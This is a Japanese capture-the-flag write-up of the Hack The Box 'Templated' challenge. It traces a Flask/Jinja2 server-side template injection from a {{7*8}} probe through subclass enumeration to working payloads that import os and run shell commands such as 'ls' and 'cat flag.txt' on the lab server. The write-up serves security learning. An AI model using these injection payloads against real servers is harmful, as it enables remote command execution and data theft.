Hack The Box:Challenges:Templated

Hack The Boxのchallenges tempaltedを解いてみる。

f:id:ktksh:20210417120954p:plain

  • 「サイト構築中」「Flask/Jinja2」と書いてあるので、適当に「Flask/Jinja2 exploit」でググるとSSTIがヒットする。

  • SSTI in Flask/Jinja2. What is SSTI ( Server-Side Template… | by IndominusByte | Medium

    • 「test」や「<script>alert(42)</script>」と打ち込むと微妙に結果が異なることに気が付く。
      • 何かしら評価されてるのでSSTIで確定。
    • http://138.68.182.108:30874/test{{7*8}}」と打ち込むと「test56」と画面に出てることからURLが式として評価されていることに気が付く(SSTIで確定)
    • というわけでhttp://138.68.182.108:30874/test{{config.items()}}とコンフィグを引き出すように値を変更
      • 「('SECRET_KEY', None),」なので、多分何かが違う。多分これはflask向けのsecret_key
        • flask上のメモリにflagがあるという過程でいろいろとあさってみるが見当たらないのでパス
  • Cheatsheet - Flask & Jinja2 SSTI

    • 上記サイトを見ると__mro__という属性にアクセスすると親クラスに行くことができるらしい。
    • 親クラスに一回行ってからそのクラスを継承してるクラスを全部洗いだすとflaskで使ってるクラスが全部見れる。(object型がrootなので)
      • {{"".__class__.__mro__[1].__subclasses__()}}とURL末尾に打ち込むと、すべてのクラスが出てくる
      • cheetsheetによるとfileクラスがあればファイルの読み取りができるよとあるが、パッと見つからない。subprocessでも行けるよ、と書いてあるので、subprocessでディレクトリをあさるコマンドを探してみる。
        • {{"".__class__.__mro__[1].__subclasses__()[414]("ls -al", shell=True).wait()}}を末尾に使ってみるが何も結果が出てこない。。あれ?
          • 414はsubprocess.popen class
        • 0が画面上に出てること、からwaitの戻り値が返ってきてることに気が付く。とはいえ、waitがないと子プロセスに処理が移譲されたままinternal server errorになるのでなんかちがうっぽい
      • 別の戦略としてosクラスを読み込んで実行するという技があるらしいのでそれを使ってみる。
        • クラスをパッと見てそれなりに使えそうなjsondecoderクラスからimportしてosモジュールを引っ張り出す
          • osモジュールにはosファイルの読み出しがあるので、それを利用してlsをして探す。
          • {{"".__class__.__mro__[1].__subclasses__()[231].__init__.__globals__["__builtins__"]["__import__"]("os").popen("ls").read()}}
            • 実行してみるとflag.txtというファイルがある。
            • lsをcat flag.txtというファイルに変えるとフラグが表示されて終わり。